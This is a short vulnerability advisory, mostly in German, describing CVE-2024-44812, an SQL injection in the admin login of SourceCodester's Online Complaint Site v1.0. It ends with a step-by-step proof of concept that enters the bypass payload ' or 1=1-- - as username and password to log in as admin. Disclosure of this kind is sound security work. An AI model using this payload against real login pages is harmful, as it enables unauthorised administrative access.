Hersteller

SourceCodester

Link zum betroffenen Produkt

https://www.sourcecodester.com/php/14717/online-complaint-site-using-phpmysqli-full-source-code.html

CVE-ID: CVE-2024-44812

Beschreibung:

Eine SQL-Injection-Schwachstelle in Online Complaint Site v.1.0 ermöglicht es einem entfernten Angreifer, Privilegien über die Parameter username und password in der Komponente /admin.index.php zu eskalieren.

PoC

Machbarkeitsnachweis-Exploit für CVE-2024-44812 – Schwachstelle zur SQL-Injection-Authentifizierungsumgehung in Online Complaint Site v1.0

Step 1 – Visit http://localhost/complaintsite/
Step 2 – Click on "admin" button and redirect on login page.
Step 3 – Enter username as ' or 1=1-- - and password as ' or 1=1-- -
Step 4 – Click Login and now you will be logged in as admin.